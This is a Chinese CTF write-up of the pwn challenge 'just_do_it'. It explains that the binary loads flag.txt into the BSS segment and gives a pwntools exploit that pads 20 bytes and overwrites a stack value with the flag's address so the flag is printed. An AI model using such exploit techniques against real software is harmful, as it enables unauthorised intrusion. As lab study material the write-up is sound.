一_4.rd_2017-just_do_it_32

注意 :
不是每一个pwn题都是溢出后,我们可以利用的。 在cycly后你会发现这个程序没有造成溢出,我们看到flag.txt,首先想到ret到我们的flag处(记住这没有溢出)。 我们发现了put函数,我们查看栈内的情况发现put函数,和我们s输入之间相差20,我们可以将数据填充,然后put出我们flag.txt。 put的地址需要思考.....

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    perror("file open error.\n");
    exit(0);
  }
  if ( !fgets(flag, 48, stream) )    //如果不等于条件,文件打开失败, 反之
  {
    perror("file read error.\n");
    exit(0);
  }

注:程序读取了本地flag.txt文件 将flag里面的内容存储到了 bss段里面去了。 我们putbss段的内容就ok了!

EXP
from pwn import*


p = process('./just_do_it')
bss_flag_addr = 0x0804A080

#gdb.attach(p)
payload = 'A'*20   #s和put相差 20 
#payload += p32(0)   #这里没有覆盖ebp
payload += p32(bss_flag_addr)   #bss段存储flag内容的地方

p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 7,884评论 0 27
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,273评论 0 6
  • 0x00 前言 Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势...
    Fish_o0O阅读 1,557评论 0 6
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,720评论 0 2
  • 昨天晚上刮了一夜的大风,早上走在路上,沿途到处都是被风吹的满天飞的塑料,原本在塑料呵护下的菜苗,瓜苗在气温骤...
    妮娃儿阅读 594评论 1 1